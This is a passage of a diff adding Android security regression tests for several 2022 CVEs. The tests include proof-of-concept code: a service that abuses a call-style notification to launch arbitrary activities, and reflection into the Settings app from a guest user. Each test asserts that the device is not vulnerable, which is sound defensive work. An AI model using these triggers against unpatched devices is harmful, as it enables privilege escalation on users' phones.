],
platform_apis: true,
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20112/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20112/AndroidManifest.xml
new file mode 100644
index 0000000..052a711
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20112/AndroidManifest.xml
@@ -0,0 +1,22 @@
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2022_20112">
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2022_20112" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20112/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20112/res/values/strings.xml
new file mode 100644
index 0000000..af45847
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20112/res/values/strings.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<resources>
+ <string name="defaultSettingsPkg">com.android.settings</string>
+ <string name="getAvailabilityStatusMethodName">getAvailabilityStatus</string>
+ <string name="privateDnsPreferenceControllerClassName">.network.PrivateDnsPreferenceController
+ </string>
+ <string name="testFailMsg">Device is vulnerable to b/206987762!! Private DNS can be modified in
+ guest mode</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20112/src/android/security/cts/CVE_2022_20112/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20112/src/android/security/cts/CVE_2022_20112/DeviceTest.java
new file mode 100644
index 0000000..96cb205
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20112/src/android/security/cts/CVE_2022_20112/DeviceTest.java
@@ -0,0 +1,90 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20112;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.UiAutomation;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.os.UserManager;
+import android.provider.Settings;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.lang.reflect.Constructor;
+import java.lang.reflect.Method;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+ @Test
+ public void testprivateDnsPreferenceController() {
+ UiAutomation uiAutomation = null;
+ try {
+ Context context = getInstrumentation().getTargetContext();
+
+ // Retrieve settings package name dynamically
+ Intent settingsIntent = new Intent(Settings.ACTION_SETTINGS);
+ ComponentName settingsComponent =
+ settingsIntent.resolveActivity(context.getPackageManager());
+ String settingsPkgName = settingsComponent != null ? settingsComponent.getPackageName()
+ : context.getString(R.string.defaultSettingsPkg);
+
+ // Get vulnerable method 'getAvailabilityStatus' using reflection
+ Context settingsContext = context.createPackageContext(settingsPkgName,
+ Context.CONTEXT_INCLUDE_CODE | Context.CONTEXT_IGNORE_SECURITY);
+ ClassLoader settingsClassLoader = settingsContext.getClassLoader();
+ Class<?> privateDnsPreferenceControllerClass =
+ settingsClassLoader.loadClass(settingsPkgName
+ + context.getString(R.string.privateDnsPreferenceControllerClassName));
+ Constructor<?> privateDnsPreferenceControllerCstr =
+ privateDnsPreferenceControllerClass.getConstructor(Context.class);
+ Object privateDnsPreferenceControllerObject =
+ privateDnsPreferenceControllerCstr.newInstance(settingsContext);
+ Method getAvailabilityStatusMethod = privateDnsPreferenceControllerClass
+ .getDeclaredMethod(context.getString(R.string.getAvailabilityStatusMethodName));
+ getAvailabilityStatusMethod.setAccessible(true);
+
+ // Check if current user is guest user
+ uiAutomation = getInstrumentation().getUiAutomation();
+ uiAutomation.adoptShellPermissionIdentity(android.Manifest.permission.CREATE_USERS);
+ final UserManager userManager = context.getSystemService(UserManager.class);
+ assumeTrue(userManager.isGuestUser());
+
+ // Invoke vulnerable method 'getAvailabilityStatus'
+ int status =
+ (int) getAvailabilityStatusMethod.invoke(privateDnsPreferenceControllerObject);
+ assertFalse(context.getString(R.string.testFailMsg), status == 0 /* AVAILABLE */);
+ } catch (Exception e) {
+ assumeNoException(e);
+ } finally {
+ try {
+ uiAutomation.dropShellPermissionIdentity();
+ } catch (Exception ignored) {
+ // Ignore exception here
+ }
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2022-20116/Android.bp
similarity index 94%
copy from hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2022-20116/Android.bp
index 09297b2..caa54b9 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20116/Android.bp
@@ -12,7 +12,6 @@
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
- *
*/
package {
@@ -20,9 +19,9 @@
}
android_test_helper_app {
- name: "CVE-2022-20347",
+ name: "CVE-2022-20116",
defaults: [
- "cts_defaults",
+ "cts_support_defaults",
],
srcs: [
"src/**/*.java",
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20116/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20116/AndroidManifest.xml
new file mode 100644
index 0000000..cac3d8d
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20116/AndroidManifest.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2022_20116">
+ <uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
+ <application
+ android:supportsRtl="true">
+ <service
+ android:name=".PocService"
+ android:exported="true">
+ </service>
+ </application>
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2022_20116" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20116/res/values/integers.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20116/res/values/integers.xml
new file mode 100644
index 0000000..1acf7f8
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20116/res/values/integers.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <integer name="height">1</integer>
+ <integer name="notificationId">1</integer>
+ <integer name="requestCode">0</integer>
+ <integer name="timeoutMs">20000</integer>
+ <integer name="width">1</integer>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20116/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20116/res/values/strings.xml
new file mode 100644
index 0000000..1329762
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20116/res/values/strings.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <string name="callChipResId">com.android.systemui:id/ongoing_call_chip_time</string>
+ <string name="channelId">channelId</string>
+ <string name="channelName">channelName</string>
+ <string name="dialIntentKey">android.security.cts.CVE_2022_20116.ongoingcall.intent</string>
+ <string name="messageKey">message</string>
+ <string name="sharedPreferences">SharedPreferences</string>
+ <string name="testFailMsg">
+ Vulnerable to b/223578534!! OngoingCallController can launch arbitrary activities
+ </string>
+ <string name="timedOutMsg">Timed out waiting for text/res %1$s on display</string>
+ <string name="uriData">tel:555-TEST</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20116/src/android/security/cts/CVE_2022_20116/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20116/src/android/security/cts/CVE_2022_20116/DeviceTest.java
new file mode 100644
index 0000000..1004eee
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20116/src/android/security/cts/CVE_2022_20116/DeviceTest.java
@@ -0,0 +1,101 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20116;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.PendingIntent;
+import android.content.Context;
+import android.content.Intent;
+import android.content.SharedPreferences;
+import android.net.Uri;
+import android.telecom.TelecomManager;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+ private UiDevice mDevice;
+ private Context mContext;
+
+ int getIntegerRes(int key) {
+ return mContext.getResources().getInteger(key);
+ }
+
+ private void startPocService() {
+ Intent dialIntent = new Intent(Intent.ACTION_CALL_PRIVILEGED);
+ dialIntent.setData(Uri.parse(mContext.getString(R.string.uriData)));
+ dialIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
+ mContext.startService(new Intent(mContext, PocService.class).putExtra(
+ mContext.getString(R.string.dialIntentKey),
+ PendingIntent.getActivity(mContext, getIntegerRes(R.integer.requestCode),
+ dialIntent,
+ PendingIntent.FLAG_IMMUTABLE | PendingIntent.FLAG_UPDATE_CURRENT)));
+ }
+
+ // Wait for UiObject to appear and click on the UiObject if it is visible
+ private boolean clickUiObject(BySelector selector) {
+ boolean objectFound =
+ mDevice.wait(Until.hasObject(selector), getIntegerRes(R.integer.timeoutMs));
+ if (objectFound) {
+ mDevice.findObject(selector).click();
+ }
+ return objectFound;
+ }
+
+ private String getDefaultDialerPackage() {
+ TelecomManager telecomManager = mContext.getSystemService(TelecomManager.class);
+ return telecomManager.getSystemDialerPackage();
+ }
+
+ @Test
+ public void testOngoingCallController() {
+ try {
+ mDevice = UiDevice.getInstance(getInstrumentation());
+ mContext = getInstrumentation().getContext();
+ startPocService();
+ BySelector selector = By.res(mContext.getString(R.string.callChipResId));
+ clickUiObject(selector);
+ boolean isVulnerable = mDevice.wait(Until.hasObject(By.pkg(getDefaultDialerPackage())),
+ getIntegerRes(R.integer.timeoutMs));
+ SharedPreferences sharedPrefs = mContext.getSharedPreferences(
+ mContext.getString(R.string.sharedPreferences), Context.MODE_APPEND);
+ String assumptionFailure =
+ sharedPrefs.getString(mContext.getString(R.string.messageKey), null);
+ assumeTrue(assumptionFailure, assumptionFailure == null);
+ assertFalse(mContext.getString(R.string.testFailMsg), isVulnerable);
+ } catch (Exception e) {
+ assumeNoException(e);
+ } finally {
+ try {
+ mContext.stopService(new Intent(mContext, PocService.class));
+ } catch (Exception e) {
+ // ignore exceptions here
+ }
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20116/src/android/security/cts/CVE_2022_20116/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20116/src/android/security/cts/CVE_2022_20116/PocService.java
new file mode 100644
index 0000000..9b621a7
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20116/src/android/security/cts/CVE_2022_20116/PocService.java
@@ -0,0 +1,82 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20116;
+
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.app.PendingIntent;
+import android.app.Person;
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.content.SharedPreferences;
+import android.graphics.Bitmap;
+import android.graphics.Canvas;
+import android.graphics.Color;
+import android.graphics.drawable.Icon;
+import android.os.IBinder;
+
+public class PocService extends Service {
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ return null;
+ }
+
+ int getIntegerRes(int key) {
+ return getResources().getInteger(key);
+ }
+
+ private Icon createNotificationIcon() throws Exception {
+ Bitmap bitmap = Bitmap.createBitmap(getIntegerRes(R.integer.width),
+ getIntegerRes(R.integer.height), Bitmap.Config.ARGB_8888);
+ final Canvas canvas = new Canvas(bitmap);
+ canvas.drawColor(Color.BLUE);
+ return Icon.createWithBitmap(bitmap);
+ }
+
+ private void showNotification(PendingIntent targetIntent) {
+ try {
+ NotificationManager notificationManager = getSystemService(NotificationManager.class);
+ notificationManager.createNotificationChannel(new NotificationChannel(
+ getString(R.string.channelId), getString(R.string.channelName),
+ NotificationManager.IMPORTANCE_DEFAULT));
+ Notification.CallStyle notificationStyle = Notification.CallStyle.forOngoingCall(
+ new Person.Builder().setName(getPackageName()).build(),
+ PendingIntent.getService(this, getResources().getInteger(R.integer.requestCode),
+ new Intent(this, PocService.class), PendingIntent.FLAG_IMMUTABLE));
+ Notification notification =
+ new Notification.Builder(this, getString(R.string.channelId))
+ .setSmallIcon(createNotificationIcon()).setContentIntent(targetIntent)
+ .setStyle(notificationStyle).build();
+ startForeground(getIntegerRes(R.integer.notificationId), notification);
+ } catch (Exception e) {
+ SharedPreferences sh = getSharedPreferences(getString(R.string.sharedPreferences),
+ Context.MODE_PRIVATE);
+ SharedPreferences.Editor edit = sh.edit();
+ edit.putString(getString(R.string.messageKey), e.getMessage());
+ edit.commit();
+ }
+ }
+
+ @Override
+ public int onStartCommand(Intent intent, int flags, int startId) {
+ showNotification(intent.getParcelableExtra(getString(R.string.dialIntentKey)));
+ return START_NOT_STICKY;
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/Android.bp
similarity index 90%
copy from hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2022-20197/Android.bp
index 09297b2..582076e 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/Android.bp
@@ -20,9 +20,9 @@
}
android_test_helper_app {
- name: "CVE-2022-20347",
+ name: "CVE-2022-20197",
defaults: [
- "cts_defaults",
+ "cts_support_defaults",
],
srcs: [
"src/**/*.java",
@@ -31,9 +31,8 @@
"sts",
],
static_libs: [
- "androidx.test.core",
"androidx.test.rules",
- "androidx.test.uiautomator_uiautomator",
+ "androidx.test.core",
],
platform_apis: true,
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/AndroidManifest.xml
new file mode 100644
index 0000000..3ea2a62
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/AndroidManifest.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ xmlns:tools="http://schemas.android.com/tools"
+ package="android.security.cts.CVE_2022_20197">
+
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2022_20197" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/res/values/strings.xml
new file mode 100644
index 0000000..c9a9407
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/res/values/strings.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <string name="vulnerableMsg">Device is vulnerable to b/208279300!</string>
+ <string name="stringObj">CVE_2022_20197</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/src/android/security/cts/CVE_2022_20197/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/src/android/security/cts/CVE_2022_20197/DeviceTest.java
new file mode 100644
index 0000000..a7b5618
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/src/android/security/cts/CVE_2022_20197/DeviceTest.java
@@ -0,0 +1,49 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20197;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assume.assumeNoException;
+
+import android.app.PendingIntent;
+import android.content.res.Resources;
+import android.os.Parcel;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+ @Test
+ public void testParcel() {
+ try {
+ Resources resources = getApplicationContext().getResources();
+ Parcel parcel = Parcel.obtain();
+ Object cookie = (Object) resources.getString(R.string.stringObj);
+ parcel.setClassCookie(PendingIntent.class, cookie);
+ parcel.recycle();
+ Object value = parcel.getClassCookie(PendingIntent.class);
+ assertNull(resources.getString(R.string.vulnerableMsg), value);
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/res/values/strings.xml
index 6257834..4a250ce 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/res/values/strings.xml
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/res/values/strings.xml
@@ -15,16 +15,18 @@
limitations under the License.
-->
<resources>
- <string name="appSettingsIconResId">com.android.settings:id/app_restrictions_settings</string>
+ <string name="allowAppsTextResId">restricted_profile_configure_apps_title</string>
+ <string name="appSettingsIconResId">%1$s:id/app_restrictions_settings</string>
+ <string name="customizeRestrictionsTextResId">restricted_profile_customize_restrictions</string>
<string name="messageKey">message</string>
<string name="resType">string</string>
<string name="sharedPreferences">SharedPreferences</string>
+ <string name="shutdownMsgResId">shutdown_confirm</string>
<string name="testFailMsg">
Vulnerable to b/223578534!! LaunchAnyWhere in AppRestrictionsFragment due to unsafe package
check
</string>
<string name="textResId">user_restrictions_title</string>
<string name="timedOutMsg">Timed out waiting for text/res %1$s on display</string>
- <string name="uriData">tel:555-TEST</string>
<string name="userName">CVE_2022_20223_RestrictedUser</string>
</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/src/android/security/cts/CVE_2022_20223/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/src/android/security/cts/CVE_2022_20223/DeviceTest.java
index e47e593..92b1df2 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/src/android/security/cts/CVE_2022_20223/DeviceTest.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/src/android/security/cts/CVE_2022_20223/DeviceTest.java
@@ -24,10 +24,10 @@
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
+import android.content.pm.PackageManager;
import android.content.res.Resources;
import android.os.Bundle;
import android.provider.Settings;
-import android.telecom.TelecomManager;
import androidx.test.runner.AndroidJUnit4;
import androidx.test.uiautomator.By;
@@ -43,10 +43,11 @@
private static final int TIMEOUT_MS = 20000;
private UiDevice mDevice;
private Context mContext;
+ private PackageManager mPackageManager;
- private String getDefaultDialerPackage() {
- TelecomManager telecomManager = mContext.getSystemService(TelecomManager.class);
- return telecomManager.getSystemDialerPackage();
+ boolean isTV() {
+ return mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEVISION)
+ || mPackageManager.hasSystemFeature(PackageManager.FEATURE_LEANBACK);
}
// Wait for UiObject to appear and click on the UiObject if it is visible
@@ -63,47 +64,77 @@
try {
mDevice = UiDevice.getInstance(getInstrumentation());
mContext = getInstrumentation().getContext();
+ mPackageManager = mContext.getPackageManager();
+ if (isTV()) {
+ Intent intent = new Intent(Settings.ACTION_SECURITY_SETTINGS);
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
+ mContext.startActivity(intent);
- Intent intent = new Intent(Settings.ACTION_USER_SETTINGS);
- intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
- mContext.startActivity(intent);
+ // Click on text "Allowed apps"
+ String settingsPackageName =
+ intent.resolveActivity(mPackageManager).getPackageName();
+ Resources res = mPackageManager.getResourcesForApplication(settingsPackageName);
+ String text = res.getString(
+ res.getIdentifier(mContext.getString(R.string.allowAppsTextResId),
+ mContext.getString(R.string.resType), settingsPackageName));
+ BySelector selector = By.text(text);
+ assumeTrue(mContext.getString(R.string.timedOutMsg, text), clickUiObject(selector));
- BySelector selector = By.text(mContext.getString(R.string.userName));
- assumeTrue(
- mContext.getString(R.string.timedOutMsg, mContext.getString(R.string.userName)),
- clickUiObject(selector));
+ // Click on text "Customize restrictions"
+ text = res.getString(res.getIdentifier(
+ mContext.getString(R.string.customizeRestrictionsTextResId),
+ mContext.getString(R.string.resType), settingsPackageName));
+ selector = By.text(text);
+ assumeTrue(mContext.getString(R.string.timedOutMsg, text), clickUiObject(selector));
+ } else {
+ Intent intent = new Intent(Settings.ACTION_USER_SETTINGS);
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
+ mContext.startActivity(intent);
- String settingsPackageName =
- intent.resolveActivity(mContext.getPackageManager()).getPackageName();
- Context settingsContext = mContext.createPackageContext(settingsPackageName,
- Context.CONTEXT_IGNORE_SECURITY);
- Resources res = settingsContext.getPackageManager()
- .getResourcesForApplication(settingsPackageName);
- String text = settingsContext
- .getString(res.getIdentifier(mContext.getString(R.string.textResId),
- mContext.getString(R.string.resType), settingsPackageName));
- selector = By.text(text);
- assumeTrue(mContext.getString(R.string.timedOutMsg, text), clickUiObject(selector));
+ // Click on text "CVE_2022_20223_RestrictedUser"
+ BySelector selector = By.text(mContext.getString(R.string.userName));
+ assumeTrue(mContext.getString(R.string.timedOutMsg,
+ mContext.getString(R.string.userName)), clickUiObject(selector));
- selector = By.res(mContext.getString(R.string.appSettingsIconResId));
- assumeTrue(
- mContext.getString(R.string.timedOutMsg,
- mContext.getString(R.string.appSettingsIconResId)),
- clickUiObject(selector));
+ // Click on text "App & content access"
+ String settingsPackageName =
+ intent.resolveActivity(mPackageManager).getPackageName();
+ Resources res = mPackageManager.getResourcesForApplication(settingsPackageName);
+ String text =
+ res.getString(res.getIdentifier(mContext.getString(R.string.textResId),
+ mContext.getString(R.string.resType), settingsPackageName));
+ selector = By.text(text);
+ assumeTrue(mContext.getString(R.string.timedOutMsg, text), clickUiObject(selector));
+ // Click on icon with resource-id "<settingsPackage>:id/app_restrictions_settings"
+ selector = By.res(
+ mContext.getString(R.string.appSettingsIconResId, settingsPackageName));
+ assumeTrue(
+ mContext.getString(R.string.timedOutMsg, mContext
+ .getString(R.string.appSettingsIconResId, settingsPackageName)),
+ clickUiObject(selector));
+ }
+ // Check if ShutDown activity is launched indicating presence of vulnerability
+ String androidPackageName =
+ PocBroadcastReceiver.getShutdownDefaultComponent(mContext).getPackageName();
+ Resources res = mPackageManager.getResourcesForApplication(androidPackageName);
+ String text =
+ res.getString(res.getIdentifier(mContext.getString(R.string.shutdownMsgResId),
+ mContext.getString(R.string.resType), androidPackageName));
assertFalse(mContext.getString(R.string.testFailMsg),
- mDevice.wait(Until.hasObject(By.pkg(getDefaultDialerPackage())), TIMEOUT_MS));
+ mDevice.wait(Until.hasObject(By.text(text)), TIMEOUT_MS));
} catch (Exception e) {
assumeNoException(e);
} finally {
try {
+ // Check occurrence of any exception in PocBroadcastReceiver
SharedPreferences sharedPrefs = mContext.getSharedPreferences(
mContext.getString(R.string.sharedPreferences), Context.MODE_APPEND);
String assumptionFailure =
sharedPrefs.getString(mContext.getString(R.string.messageKey), null);
assumeTrue(assumptionFailure, assumptionFailure == null);
} catch (Exception e) {
- assumeNoException(e);
+ // Ignore exceptions here
}
}
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/src/android/security/cts/CVE_2022_20223/PocBroadcastReceiver.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/src/android/security/cts/CVE_2022_20223/PocBroadcastReceiver.java
index c3c7083..6df2b9d 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/src/android/security/cts/CVE_2022_20223/PocBroadcastReceiver.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/src/android/security/cts/CVE_2022_20223/PocBroadcastReceiver.java
@@ -26,9 +26,8 @@
public class PocBroadcastReceiver extends BroadcastReceiver {
